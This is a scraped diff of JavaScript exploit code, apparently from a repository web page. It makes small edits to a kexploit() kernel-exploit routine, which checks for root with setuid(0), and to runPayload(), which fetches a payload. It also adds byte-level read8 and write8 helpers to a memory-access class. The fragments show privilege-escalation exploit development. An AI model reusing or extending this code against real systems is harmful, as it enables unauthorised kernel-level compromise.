//
|
//
|
||||||
// the exploit implementation also assumes that we are pinned to one core
|
// the exploit implementation also assumes that we are pinned to one core
|
||||||
export async function kexploit() {
|
export async function kexploit() {
|
||||||
|
const _init_t1 = performance.now();
|
||||||
|
await init();
|
||||||
|
const _init_t2 = performance.now();
|
||||||
|
|
||||||
// If setuid is successful, we dont need to run the kernel exploit again
|
// If setuid is successful, we dont need to run the kernel exploit again
|
||||||
try {
|
try {
|
||||||
if (sysi("setuid", 0) == 0) {
|
if (sysi("setuid", 0) == 0) {
|
||||||
@@ -1615,10 +1642,6 @@ export async function kexploit() {
|
|||||||
// Expected when not in an exploited state
|
// Expected when not in an exploited state
|
||||||
}
|
}
|
||||||
|
|
||||||
const _init_t1 = performance.now();
|
|
||||||
await init();
|
|
||||||
const _init_t2 = performance.now();
|
|
||||||
|
|
||||||
// fun fact:
|
// fun fact:
|
||||||
// if the first thing you do since boot is run the web browser, WebKit can
|
// if the first thing you do since boot is run the web browser, WebKit can
|
||||||
// use all the cores
|
// use all the cores
|
||||||
@@ -1823,7 +1846,7 @@ function runPayload(path) {
|
|||||||
} catch (e) {
|
} catch (e) {
|
||||||
log(`error in runPayload: ${e.message}`);
|
log(`error in runPayload: ${e.message}`);
|
||||||
}
|
}
|
||||||
} else if (xhr.status >= 400 && xhr.status < 600) {
|
} else {
|
||||||
log(`error retrieving payload, ${xhr.status}`);
|
log(`error retrieving payload, ${xhr.status}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -32,6 +32,10 @@ export class BufferView extends Uint8Array {
|
|||||||
this._dview = new DataView(this.buffer, this.byteOffset);
|
this._dview = new DataView(this.buffer, this.byteOffset);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
read8(offset) {
|
||||||
|
return this._dview.getUint8(offset);
|
||||||
|
}
|
||||||
|
|
||||||
read16(offset) {
|
read16(offset) {
|
||||||
return this._dview.getUint16(offset, true);
|
return this._dview.getUint16(offset, true);
|
||||||
}
|
}
|
||||||
@@ -44,6 +48,10 @@ export class BufferView extends Uint8Array {
|
|||||||
return new Int(this._dview.getUint32(offset, true), this._dview.getUint32(offset + 4, true));
|
return new Int(this._dview.getUint32(offset, true), this._dview.getUint32(offset + 4, true));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
write8(offset, value) {
|
||||||
|
this._dview.setUint8(offset, value);
|
||||||
|
}
|
||||||
|
|
||||||
write16(offset, value) {
|
write16(offset, value) {
|
||||||
this._dview.setUint16(offset, value, true);
|
this._dview.setUint16(offset, value, true);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user